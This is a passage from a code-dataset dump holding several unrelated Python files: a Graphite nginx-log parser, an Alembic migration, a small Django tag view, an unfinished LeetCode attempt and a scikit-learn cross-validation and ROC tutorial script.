print('-=' * 60)\nprint(\"<< VOLTE SEMPRE >>\")\n\n","sub_path":"basic-python/desafio095.py","file_name":"desafio095.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"575449311","text":"# -*- coding: utf8 -*-\n\n#\n# Graphite log simple parser.\n# It parse functions and its arguments using python ast-tree.\n#\n# For each log line like:\n# {\n# 192.168.14.20 [23/Jul/2015:15:44:11 +0100]\n# \"GET /render?from=-4hours&noCache=True&hideLegend=False\n# &height=400&width=500&until=-&title=My%20Graphic\n# &target=cactiStyle(aliasByNode(foo.bar.baz))\n# &yMax=400&_uniq=bb9b7ee2db0c13e3 HTTP/1.1\"\n# 200 1074 \"http://graphite.server.com/dashboard/\"\n# \"MyUserAgent\" 0.048 0.048 \"\n# }\n#\n# It builds summary like:\n# {\n# CASE = [\"cactiStyle(aliasByNode('***', 1))\"];\n# PARAMS = «{'from': ['-4hours'], 'until': ['-']}»;\n# <0> ~ CALL (0) = «aliasByNode('***', 1)»;\n# <0> ~ CALL (1) = «cactiStyle(aliasByNode('***', 1))»;\n# }\n\nfrom __future__ import absolute_import, division, print_function\n\nimport sys\n\nimport logging\nimport re\nimport ast\nimport urlparse\n\nDEFAULT_LOG_NAME = './access.log'\n\nMETRICS_SYMBOL = '***'\n\nWASTE_PARAM_LIST = [\n '_uniq',\n '_salt',\n 'hideLegend',\n 'drawNullAsZero',\n 'noCache',\n 'width',\n 'height',\n 'yMax',\n 'yMin',\n 'title',\n]\n\nWASTE_FUNC_LIST = [\n # 'alias', # name\n # 'color', # visual representation\n # 'dashed' # visual representation\n]\n\n\ndef main(argc, argv):\n \"\"\"\n Open nginx log with graphite requests\n and prints it representation in terms of\n graphite-functions' calls and GET-parameters.\n \"\"\"\n log_name = DEFAULT_LOG_NAME\n if argc > 1:\n log_name = argv[1]\n log_stream = open(log_name)\n while True:\n case_stack, param_dict = next(get_input_generator(log_stream), None)\n if not case_stack:\n break\n string = repr_case(case_stack, param_dict)\n print(string)\n\n\ndef repr_case(case_stack, param_dict):\n \"\"\"\n Returns representation of a function call and GET-parameters\n for current log line. Also it returns representation of\n stack of arguments with functions' calls.\n\n :param case_stack: tuple(str, list)\n a call stack (with initial function call)\n for current log line (tuple(str, list))\n :param param_dict: dict\n a dictionary of GET-parameters (dict).\n :returns: str\n representation of current log line in terms of\n graphite-functions' calls and GET-parameters.\n \"\"\"\n string = str()\n case_list = sorted([case for case, _ in case_stack])\n case_repr = \"CASE = %s; PARAMS = «%s»;\\n\" % (case_list, param_dict)\n string += case_repr\n for case_num, (_, call_stack) in enumerate(list(case_stack)):\n for call_depth, call in enumerate(call_stack):\n call_repr = \"<%s> ~ CALL (%s) = «%s»;\\n\" % (case_num, call_depth, call)\n string += call_repr\n return string\n\n\ndef get_input_generator(stream):\n \"\"\"\n Returns generator for a function call, it's stack\n of functions arguments and GET-parameters for certain log line.\n\n :param stream: a file opened for read\n opened log file or stream\n :yields tuple(tuple(str, list), dict)\n * a call stack (with initial function call)\n for current log line (tuple(str, list))\n * and a dictionary of GET-parameters (dict).\n \"\"\"\n for log_line in stream:\n if has_param(log_line):\n param_string = get_request_line(log_line)\n param_dict = get_param_dict(param_string)\n target_list, param_dict = get_target_list(param_dict)\n case_stack = handle_target_list(target_list)\n yield case_stack, param_dict\n\n\ndef has_param(line, param_marker='/render?'):\n \"\"\"\n Check if it is normal graphite input in nginx.\n\n :param line: str\n line from nginx log.\n :param param_marker: str\n substring that should be a in line from nginx log.\n :returns: bool\n has parameters or not.\n \"\"\"\n if param_marker in line:\n return True\n return False\n\n\ndef get_request_line(line, start_marker='/render?', stop_marker='HTTP/1.1'):\n \"\"\"\n Singles out string of GET-parameters form nginx-line.\n\n :param line: string\n line from nginx log.\n :param start_marker: string\n substring of nginx-line after what string of parameters starts.\n :param stop_marker: string\n substring of nginx-line before what string of parameters starts.\n :returns: string\n string of GET-parameters.\n \"\"\"\n _, _, rest = line.partition(start_marker)\n param_string, _, _ = rest.partition(stop_marker)\n return param_string\n\n\ndef get_param_dict(param_string):\n \"\"\"\n Creates parameters dict from string of GET-parameters and filter it.\n\n :param param_string: string\n string of GET-parameters.\n :returns: dict\n dictionary of filtered GET-parameters.\n \"\"\"\n param_dict = urlparse.parse_qs(param_string)\n filtered_param_dict = filter_param_dict(param_dict)\n return filtered_param_dict\n\n\ndef filter_param_dict(param_dict, waste_param_list=WASTE_PARAM_LIST):\n \"\"\"\n Delete unnecessary parameters from target dictionary of GET-parameters.\n\n :param param_dict: dict\n dictionary of GET-parameters.\n :param waste_param_list: list\n list of parameters, that should be deleted from target dictionary.\n :returns: dict\n dictionary of filtered GET-parameters.\n \"\"\"\n for bad_param in waste_param_list:\n if param_dict.get(bad_param):\n del param_dict[bad_param]\n return param_dict\n\n\ndef get_target_list(param_dict, target_key='target'):\n \"\"\"\n Returns the list of parameters that contains graphite-formulas\n and metrics.\n\n :param param_dict: dict\n dictionary of GET-parameters.\n :param target_key: sting\n name of key with graphite-formulas and metrics.\n :returns: tuple(list, dict)\n tuple of:\n * list of string with parameters that\n contains graphite-formulas and metrics;\n * dict of GET-parameters without formulas and metrics\n \"\"\"\n target_list = param_dict.get(target_key, [])\n if target_list:\n param_dict.pop(target_key)\n return (target_list, param_dict)\n\n\ndef handle_target_list(target_list):\n \"\"\"\n Handle each parameter with graphite-formulas and metrics.\n\n :param target_list: list\n list of parameters with graphite-formulas and metrics.\n :returns: tuple(tuple(str, list), …)\n a tuple of tuples as results of `handle_target`.\n Results of `handle_target`:\n * a initial function call aka «case of use» (str)\n * and a stack of functions' calls (list).\n \"\"\"\n result = (handle_target(target) for target in target_list)\n return tuple(result)\n\n\ndef handle_target(target_string):\n \"\"\"\n Parse target string and represent it as stack of function calls.\n\n :param target_string: str\n string with graphite-formulas and metrics.\n :returns: tuple(str, list)\n a tuple of:\n * a initial function call aka «case of use» (str)\n * and a stack of functions' calls (list).\n \"\"\"\n escaped_target_string = escape_metrics(target_string)\n case, call_stack = explode(escaped_target_string)\n return (case, call_stack)\n\n\ndef escape_metrics(target_string):\n \"\"\"\n Replace special symbols in target string.\n\n :param target_string: string\n one item parameter with graphite-formulas and metrics.\n :returns: string\n string where all special symbols replaced to `_`.\n \"\"\"\n\n assert isinstance(target_string, str)\n target_string = re.sub(\n '[\\*\\-%\\@\\?\\{\\}\\^\\[\\]\\<\\>]',\n '_',\n target_string\n )\n target_string = re.sub(\n '([a-zA-Z_]\\w+)\\.(\\d)',\n '\\g<1>_\\g<2>',\n target_string\n )\n\n return target_string\n\n\ndef get_metrics_symbol(symbol=METRICS_SYMBOL):\n \"\"\"\n Returns a symbol in which we change metrics' names.\n Wraps it in quotes.\n\n :param symbol: str\n a symbol in what we change metrics' names.\n :returns: str\n quoted symbol in which we change metrics' names.\n \"\"\"\n\n if isinstance(symbol, unicode):\n return u\"'%s'\" % (symbol)\n return \"'%s'\" % (symbol)\n\n\ndef explode(string):\n \"\"\"\n Explodes escaped target string to a stack\n of strings with call of all functions.\n This stack respresented as a list.\n It works with `escaped_target_string` as python code,\n and builds python-ast tree for it.\n\n :param string: str\n escaped target string with graphite-formulas and metrics.\n :returns: tuple(str, list)\n A tuple of:\n * a initial function call (str)\n * and a stack of functions' calls (list).\n \"\"\"\n\n parsed_ast = ast.parse(string)\n initial_call, call_stack = repr_ast(parsed_ast)\n return initial_call, call_stack\n\n\ndef repr_ast(tree):\n \"\"\"\n Walks into python-ast tree and build a stack of functions' calls.\n\n :param tree: _ast.Module\n escaped target string with graphite-formulas and metrics.\n :returns: tuple(str, list)\n A tuple of:\n * a initial function call (str)\n * and a stack of functions' calls (list).\n \"\"\"\n\n call_stack = []\n for expr in tree.body:\n initial_call, call_stack = repr_node(expr.value, call_stack)\n return initial_call, call_stack\n\n\ndef repr_node(node, call_stack):\n \"\"\"\n Check type of current node of ast-tree\n and apply appropriate handler.\n It uses indirect recursion due to `repr_call`.\n\n :param node: ast.Node\n escaped target string with graphite-formulas and metrics.\n :param call_stack: list\n a stack of functions' calls.\n :returns: tuple(str, list)\n A tuple of:\n * a current node representation (str)\n * and a new stack state (list).\n \"\"\"\n if isinstance(node, ast.Call):\n return repr_call(node, call_stack)\n elif isinstance(node, ast.Num):\n return repr_num(node, call_stack)\n elif isinstance(node, ast.Str):\n return repr_str(node, call_stack)\n elif isinstance(node, ast.Attribute):\n return repr_attribute(node, call_stack)\n elif isinstance(node, ast.Name):\n return repr_name(node, call_stack)\n return \"'unknown'\", call_stack\n\n\ndef repr_call(call, call_stack):\n \"\"\"\n Returns representation of current function call.\n It uses indirect recursion due to `repr_node`:\n applies `repr_node` for all arguments of call-node.\n Also it adds current function call to call_stack.\n\n :param call: ast.Call\n an ast-object of certain function call.\n :param call_stack: list\n a stack of functions' calls.\n :returns: tuple(str, list)\n A tuple of:\n * a representation of current function call (str)\n * and a new stack state (list).\n \"\"\"\n func_name = call.func.id\n arg_list = call.args\n arg_repr = (repr_node(arg, call_stack)[0] for arg in arg_list)\n call_string = \"%s(%s)\" % (func_name, ', '.join(arg_repr))\n call_stack = add_to_stack(func_name, call_string, call_stack)\n return call_string, call_stack\n\n\ndef add_to_stack(func_name, call_string, call_stack, waste_func_list=WASTE_FUNC_LIST):\n \"\"\"\n Adds current function call to call_stack\n if name of current function is not in the list of «waste» functions.\n\n :param func_name: str\n current function name.\n :param call_string: str\n a string representation of current function call.\n :param call_stack: list\n a stack of functions' calls.\n :param waste_func_list: list\n a list of excluded funtions' names\n :returns: list\n a new stack state (list).\n \"\"\"\n if func_name not in waste_func_list:\n call_stack += [call_string]\n return call_stack\n\n\ndef repr_num(num, call_stack):\n \"\"\"\n Returns representation of current number node.\n\n :param num: ast.Num\n a current number node.\n :param call_stack: list\n a stack of functions' calls.\n :returns: tuple(str, list)\n A tuple of:\n * a string representation of number node (str)\n * and a new stack state (list).\n \"\"\"\n return str(num.n), call_stack\n\n\ndef repr_str(string, call_stack):\n \"\"\"\n Returns quoted representation of current string node.\n\n :param num: ast.Str\n a current string node.\n :param call_stack: list\n a stack of functions' calls.\n :returns: tuple(str, list)\n A tuple of:\n * a string representation of string node (str)\n * and a new stack state (list).\n \"\"\"\n return \"'%s'\" % string.s, call_stack\n\n\ndef repr_attribute(_, call_stack):\n \"\"\"\n Returns a special symbol in which we change metrics' names.\n\n :param _: ast.Attribute\n a current attribute node.\n :param call_stack: list\n a stack of functions' calls.\n :returns: tuple(str, list)\n A tuple of:\n * a special «metrics'» symbol (str)\n * and a new stack state (list).\n \"\"\"\n return get_metrics_symbol(), call_stack\n\n\ndef repr_name(_, call_stack):\n \"\"\"\n Returns a special symbol in which we change metrics' names.\n\n :param _: ast.Name\n a current attribute node.\n :param call_stack: list\n a stack of functions' calls.\n :returns: tuple(str, list)\n A tuple of:\n * a special «metrics'» symbol (str)\n * and a new stack state (list).\n \"\"\"\n return get_metrics_symbol(), call_stack\n\n\ndef debug(*args, **kwargs):\n \"\"\"\n Wrappers logging for debug.\n \"\"\"\n return logging.warn(*args, **kwargs)\n\n\nif __name__ == '__main__':\n main(len(sys.argv), sys.argv)\n","sub_path":"dockerized-gists/4ce7b1786c7348f30c90/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":14302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"160454940","text":"\"\"\"empty message\n\nRevision ID: 644c532f7890\nRevises: e236e03ae20e\nCreate Date: 2020-03-01 16:43:49.542022\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '644c532f7890'\ndown_revision = 'e236e03ae20e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('Show', 'end_time',\n existing_type=postgresql.TIMESTAMP(),\n nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('Show', 'end_time',\n existing_type=postgresql.TIMESTAMP(),\n nullable=True)\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/644c532f7890_.py","file_name":"644c532f7890_.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"518495795","text":"# -*- coding:utf-8\n\nfrom django.http import HttpResponseRedirect, get_host, HttpResponse \nfrom tagging.models import *\nfrom photos.models import Image\nfrom tag_app.views import get_all_tags\n\ndef test_get_all_tags(request):\n\tname = request.REQUEST['name']\n\ttags_set = list(get_all_tags(name))\n\n\to = name + ': '\n\t#for tag in tags_set:\n\t#\to = o+tag.name+' '\n\to += ','.join([tag.name for tag in tags_set])\n\to = o+'
    '\n\timages = TaggedItem.objects.get_by_model(Image, tags_set)\n\to = o + 'Images count:' + str(len(images)) + '
    '\n\tfor image in images:\n\t\to = o+str(image.id)+'
    '\n\treturn HttpResponse(o)\n\n\t","sub_path":"apps/tag_app/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"20615128","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author:knktc\n@contact:me@knktc.com\n@create:2018-06-30 13:11\n\"\"\"\n\n\"\"\"\nYou are given two non-empty linked lists representing two non-negative integers. The digits are stored in reverse order and each of their nodes contain a single digit. Add the two numbers and return it as a linked list.\n\nYou may assume the two numbers do not contain any leading zero, except the number 0 itself.\n\nExample\n\nInput: (2 -> 4 -> 3) + (5 -> 6 -> 4)\nOutput: 7 -> 0 -> 8\nExplanation: 342 + 465 = 807.\n\"\"\"\n\n__author__ = 'knktc'\n__version__ = '0.1'\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n l1.reverse()\n l2.reverse()\n l1_int = int(''.join(str(x) for x in l1))\n l2_int = int(''.join(str(x) for x in l2))\n sum = l1_int + l2_int\n\n result_list = []\n for i in reversed(str(sum)):\n result_list.append(int(i))\n\n return result_list\n\n\ndef main():\n \"\"\"\n main process\n\n \"\"\"\n solution = Solution()\n l1 = [2, 4, 3, 4]\n l2 = [5, 6, 4]\n print(solution.addTwoNumbers(l1=l1, l2=l2))\n\nif __name__ == '__main__':\n main()\n","sub_path":"python/(unresolved)2.Add_Two_Numbers.py","file_name":"(unresolved)2.Add_Two_Numbers.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"408029406","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Biswajit\n\"\"\"\n\n## Cross-validation: Evaluating estimator performance\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import datasets\nfrom sklearn import svm, neighbors\n\n## Auto data set\n## Polynomial fit\n\n###################\nimport numpy as np\nfrom matplotlib import pyplot as plt\nX = np.linspace(0, 100, 50)\nY = 23.24 + 2.2*(X**6) + 0.24*(X**3) + 10*np.random.randn(50) #added some noise\ncoefs = np.polyfit(X, Y, 1)\nprint(coefs)\np = np.poly1d(coefs)\nplt.plot(X, Y, \"bo\", markersize= 2)\nplt.plot(X, p(X), \"r-\") #p(X) evaluates the polynomial at X\nplt.show()\n###################\n\n### Underfitting vs. Overfitting\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import cross_val_score\n\n\ndef true_fun(X):\n return np.cos(1.5 * np.pi * X)\n\nnp.random.seed(0)\n\nn_samples = 30\ndegrees = [1, 4, 15]\n\nX = np.sort(np.random.rand(n_samples))\ny = true_fun(X) + np.random.randn(n_samples) * 0.1\n\nplt.figure(figsize=(14, 5))\nfor i in range(len(degrees)):\n ax = plt.subplot(1, len(degrees), i + 1)\n plt.setp(ax, xticks=(), yticks=())\n\n polynomial_features = PolynomialFeatures(degree=degrees[i],\n include_bias=False)\n linear_regression = LinearRegression()\n pipeline = Pipeline([(\"polynomial_features\", polynomial_features),\n (\"linear_regression\", linear_regression)])\n pipeline.fit(X[:, np.newaxis], y)\n\n # Evaluate the models using crossvalidation\n scores = cross_val_score(pipeline, X[:, np.newaxis], y,\n scoring=\"neg_mean_squared_error\", cv=10)\n\n X_test = np.linspace(0, 1, 100)\n plt.plot(X_test, pipeline.predict(X_test[:, np.newaxis]), label=\"Model\")\n plt.plot(X_test, true_fun(X_test), label=\"True function\")\n plt.scatter(X, y, edgecolor='b', s=20, label=\"Samples\")\n plt.xlabel(\"x\")\n plt.ylabel(\"y\")\n plt.xlim((0, 1))\n plt.ylim((-2, 2))\n plt.legend(loc=\"best\")\n plt.title(\"Degree {}\\nMSE = {:.2e}(+/- {:.2e})\".format(\n degrees[i], -scores.mean(), scores.std()))\nplt.show()\n\n\n#################\niris = datasets.load_iris()\niris.data.shape, iris.target.shape\n\n# Sample a training set while holding out 40% of the data for testing (evaluating) our \n# classifier\nn_neighbors = 5\nX_train, X_test, y_train, y_test = train_test_split(iris.data, iris.target, \n test_size = 0.4, random_state = 0)\nX_train.shape, y_train.shape\nX_test.shape, y_test.shape\nknn = neighbors.KNeighborsRegressor(n_neighbors)\n#clf = svm.SVC(kernel = \"linear\", C=1).fit(X_train, y_train)\nclf = knn.fit(X_train, y_train)\n\nclf.score(X_test, y_test)\n\n## Computing cross validated metrics\n## call cross_val_score\n## Demonstration to estimate the accuracy of a linear kernel SVM on the iris dataset by\n# splitting the data, fitting a model and computing the score 5 consecutive times ( with \n# different splits each time)\nfrom sklearn.model_selection import cross_val_score\n#clf = svm.SVC(kernel = \"linear\", C=1)\nclf = knn\nscores = cross_val_score(clf, iris.data, iris.target, cv = 5)\nscores\n## Mean score and the 95% connfidence interval of the score estimate are hence given by\nprint(\"Accuracy: %0.2f (+/- %0.2f)\" % (scores.mean(), scores.std()*2))\n\n## The score computed at each CV iteration is the score method of the estimator\n## It is possible to change this by using the scoring parameter\nfrom sklearn import metrics\n#scores = cross_val_score(clf, iris.data, iris.target, cv=5, scoring = 'f1_macro')\nscores = cross_val_score(clf, iris.data, iris.target, cv=5)\nscores\n\n## It is possible to use other cross validation strategies by passing a cross validation \n# iterator\nfrom sklearn.model_selection import ShuffleSplit\nn_samples = iris.data.shape[0]\ncv = ShuffleSplit(n_splits=3, test_size = 0.3, random_state = 0)\ncross_val_score(clf, iris.data, iris.target, cv = cv)\n\n## Data transformation with held out data\nfrom sklearn import preprocessing \nX_train, X_test, y_train, y_test = train_test_split(\n iris.data, iris.target, test_size = 0.4, random_state = 0)\nscaler = preprocessing.StandardScaler().fit(X_train)\nX_train_transformed = scaler.transform(X_train)\n#clf = svm.SVC(C=1).fit(X_train_transformed, y_train)\nclf = knn.fit(X_train_transformed, y_train)\nX_test_transformed = scaler.transform(X_test)\nclf.score(X_test_transformed, y_test)\n\n## A Pipeline makes it easier to compose estimators, providing this behavior under \n# cross-validation\nfrom sklearn.pipeline import make_pipeline\n#clf = make_pipeline(preprocessing.StandardScaler(), svm.SVC(C=1))\nclf = make_pipeline(preprocessing.StandardScaler(), knn)\ncross_val_score(clf, iris.data, iris.target, cv=cv)\n\n## The cross_validate function and multiple metric evaluation \n# cross_validate differs from cross_val_score in two ways\n# 1. It allows specifying multiple metrics for evaluation\n# 2. It returns a dict containing training scores, fit-times and score-times in addition \n# to the test score\nfrom sklearn.model_selection import cross_validate\nfrom sklearn.metrics import recall_score\nscoring = ['precision_macro', 'recall_macro']\n#clf = svm.SVC(kernel='linear', C=1, random_state=0)\nclf = knn\n#scores = cross_validate(clf, iris.data, iris.target, scoring=scoring, \n# cv=5, return_train_score=False)\nscores = cross_validate(clf, iris.data, iris.target, cv=5, return_train_score=False)\n\nsorted(scores.keys())\n#scores['test_recall_macro']\n## cross_validate using a single metric:\n#scores = cross_validate(clf, iris.data, iris.target, scoring='precision_macro')\nscores = cross_validate(clf, iris.data, iris.target)\n\nsorted(scores.keys())\n\n## Predictions by cross-validation\nfrom sklearn.model_selection import cross_val_predict\npredicted = cross_val_predict(clf, iris.data, iris.target, cv=10)\nmetrics.accuracy_score(iris.target, np.int64(predicted)) \n\n## Cross-validation for i.i.d. data\n# K-fold\nimport numpy as np\nfrom sklearn.model_selection import KFold\nX = [\"a\", \"b\", \"c\", \"d\"]\nkf = KFold(n_splits=2)\nfor train, test in kf.split(X): print(\"%s %s\" % (train, test))\n\n# Each fold is constituted by two arrays: the first one is related to the training set, \n# and the second one to the test set. \n# Thus, one can create the training/test sets using numpy indexing:\nX = np.array([[0., 0.], [1., 1.], [-1., -1.], [2., 2.]])\ny = np.array([0, 1, 0, 1])\nX_train, X_test, y_train, y_test = X[train], X[test], y[train], y[test]\n\n# Repeated K-fold\n# RepeatedKFold repeats K-Fold n times. It can be used when one requires to run KFold \n# n times, producing different splits in each repetition.\n# Example of 2-fold K-Fold repeated 2 times:\nimport numpy as np\nfrom sklearn.model_selection import RepeatedKFold\nX = np.array([[1, 2], [3, 4], [1, 2], [3, 4]])\nrandom_state = 12883823\nrkf = RepeatedKFold(n_splits=2, n_repeats=2, random_state=random_state)\nfor train, test in rkf.split(X): print(\"%s %s\" % (train, test))\n\n# Leave One Out (LOO)\nfrom sklearn.model_selection import LeaveOneOut\nX = [1, 2, 3, 4]\nloo = LeaveOneOut()\nfor train, test in loo.split(X): print(\"%s %s\" % (train, test))\n\n# Leave P out (LPO)\n# Example of Leave-2-Out on a dataset with 4 samples:\nfrom sklearn.model_selection import LeavePOut\nX = np.ones(4)\nlpo = LeavePOut(p=2)\nfor train, test in lpo.split(X): print(\"%s %s\" % (train, test))\n\n## Cross validation of time series data\n# Example of 3-split time series cross-validation on a dataset with 6 samples:\nfrom sklearn.model_selection import TimeSeriesSplit\nX = np.array([[1, 2], [3, 4], [1, 2], [3, 4], [1, 2], [3, 4]])\ny = np.array([1, 2, 3, 4, 5, 6])\ntscv = TimeSeriesSplit(n_splits=3)\nprint(tscv) \nTimeSeriesSplit(max_train_size=None, n_splits=3)\nfor train, test in tscv.split(X): print(\"%s %s\" % (train, test))\n\n#### Cross validation and model selection\n\n### Model evaluation: Quantifying the quality of prediction\n## Classification metrics\n# Accuracy score\nimport numpy as np\nfrom sklearn.metrics import accuracy_score\ny_pred = [0, 2, 1, 3]\ny_true = [0, 1, 2, 3]\naccuracy_score(y_true, y_pred)\naccuracy_score(y_true, y_pred, normalize=False)\n\n# Confusion matrix\nfrom sklearn.metrics import confusion_matrix\ny_true = [2, 0, 2, 2, 0, 1]\ny_pred = [0, 0, 2, 2, 0, 2]\nconfusion_matrix(y_true, y_pred)\n## Confusion matrix example\nimport itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn import svm, datasets\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import confusion_matrix\n\n# import some data to play with\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\nclass_names = iris.target_names\n\n# Split the data into a training set and a test set\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)\n\n# Run classifier, using a model that is too regularized (C too low) to see\n# the impact on the results\n#classifier = svm.SVC(kernel='linear', C=0.01)\nclassifier = knn\ny_pred = classifier.fit(X_train, y_train).predict(X_test)\n\n\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n\n# Compute confusion matrix\ncnf_matrix = confusion_matrix(y_test, np.int64(y_pred))\nnp.set_printoptions(precision=2)\n\n# Plot non-normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(cnf_matrix, classes=class_names,\n title='Confusion matrix, without normalization')\n\n# Plot normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(cnf_matrix, classes=class_names, normalize=True,\n title='Normalized confusion matrix')\n\nplt.show()\n\n########################################################\n# Standard scientific Python imports\nimport matplotlib.pyplot as plt\n\n# Import datasets, classifiers and performance metrics\nfrom sklearn import datasets, svm, metrics\n\n# The digits dataset\ndigits = datasets.load_digits()\n\n# The data that we are interested in is made of 8x8 images of digits, let's\n# have a look at the first 4 images, stored in the `images` attribute of the\n# dataset. If we were working from image files, we could load them using\n# matplotlib.pyplot.imread. Note that each image must have the same size. For these\n# images, we know which digit they represent: it is given in the 'target' of\n# the dataset.\nimages_and_labels = list(zip(digits.images, digits.target))\nfor index, (image, label) in enumerate(images_and_labels[:4]):\n plt.subplot(2, 4, index + 1)\n plt.axis('off')\n plt.imshow(image, cmap=plt.cm.gray_r, interpolation='nearest')\n plt.title('Training: %i' % label)\n\n# To apply a classifier on this data, we need to flatten the image, to\n# turn the data in a (samples, feature) matrix:\nn_samples = len(digits.images)\ndata = digits.images.reshape((n_samples, -1))\n\n# Create a classifier: a support vector classifier\n#classifier = svm.SVC(gamma=0.001)\nclassifier = knn\n# We learn the digits on the first half of the digits\nclassifier.fit(data[:n_samples // 2], digits.target[:n_samples // 2])\n\n# Now predict the value of the digit on the second half:\nexpected = digits.target[n_samples // 2:]\npredicted = classifier.predict(data[n_samples // 2:])\npredicted = np.int64(predicted)\nprint(\"Classification report for classifier %s:\\n%s\\n\"\n % (classifier, metrics.classification_report(expected, predicted)))\nprint(\"Confusion matrix:\\n%s\" % metrics.confusion_matrix(expected, predicted))\n\nimages_and_predictions = list(zip(digits.images[n_samples // 2:], predicted))\nfor index, (image, prediction) in enumerate(images_and_predictions[:4]):\n plt.subplot(2, 4, index + 5)\n plt.axis('off')\n plt.imshow(image, cmap=plt.cm.gray_r, interpolation='nearest')\n plt.title('Prediction: %i' % prediction)\n\nplt.show()\n\n#############################\n### ROC\n# The function roc_curve computes the receiver operating characteristic curve, or \n# ROC curve. Quoting Wikipedia :\n# A receiver operating characteristic (ROC), or simply ROC curve, is a graphical \n# plot which illustrates the performance of a binary classifier system as its \n# discrimination threshold is varied. It is created by plotting the fraction of true \n# positives out of the positives (TPR = true positive rate) vs. the fraction of false \n# positives out of the negatives (FPR = false positive rate), at various threshold \n# settings. TPR is also known as sensitivity, and FPR is one minus the specificity or \n# true negative rate.\n\n# This function requires the true binary value and the target scores, which can \n# either be probability estimates of the positive class, confidence values, \n# or binary decisions. Here is a small example of how to use the roc_curve function:\nimport numpy as np\nfrom sklearn.metrics import roc_curve\ny = np.array([1, 1, 2, 2])\nscores = np.array([0.1, 0.4, 0.35, 0.8])\nfpr, tpr, thresholds = roc_curve(y, scores, pos_label=2)\nfpr\ntpr\nthresholds\n\nimport numpy as np\nfrom sklearn.metrics import roc_auc_score\ny_true = np.array([0, 0, 1, 1])\ny_scores = np.array([0.1, 0.4, 0.35, 0.8])\nroc_auc_score(y_true, y_scores)\n\n\n### ROC\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom itertools import cycle\n\nfrom sklearn import svm, datasets\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import label_binarize\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom scipy import interp\n\n# Import some data to play with\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\n\n# Binarize the output\ny = label_binarize(y, classes=[0, 1, 2])\nn_classes = y.shape[1]\n\n# Add noisy features to make the problem harder\nrandom_state = np.random.RandomState(0)\nn_samples, n_features = X.shape\nX = np.c_[X, random_state.randn(n_samples, 200 * n_features)]\n\n# shuffle and split training and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.5,\n random_state=0)\n\n# Learn to predict each class against the other\n#classifier = OneVsRestClassifier(svm.SVC(kernel='linear', probability=True,\n# random_state=random_state))\nclassifier = OneVsRestClassifier(knn)\n\n#y_score = classifier.fit(X_train, y_train).decision_function(X_test)\ny_score = classifier.fit(X_train, y_train).predict(X_test)\n# Compute ROC curve and ROC area for each class\nfpr = dict()\ntpr = dict()\nroc_auc = dict()\nfor i in range(n_classes):\n fpr[i], tpr[i], _ = roc_curve(y_test[:, i], y_score[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n\n# Compute micro-average ROC curve and ROC area\nfpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(y_test.ravel(), y_score.ravel())\nroc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\n# Plot ROC\nplt.figure()\nlw = 2\nplt.plot(fpr[2], tpr[2], color='darkorange',\n lw=lw, label='ROC curve (area = %0.2f)' % roc_auc[2])\nplt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 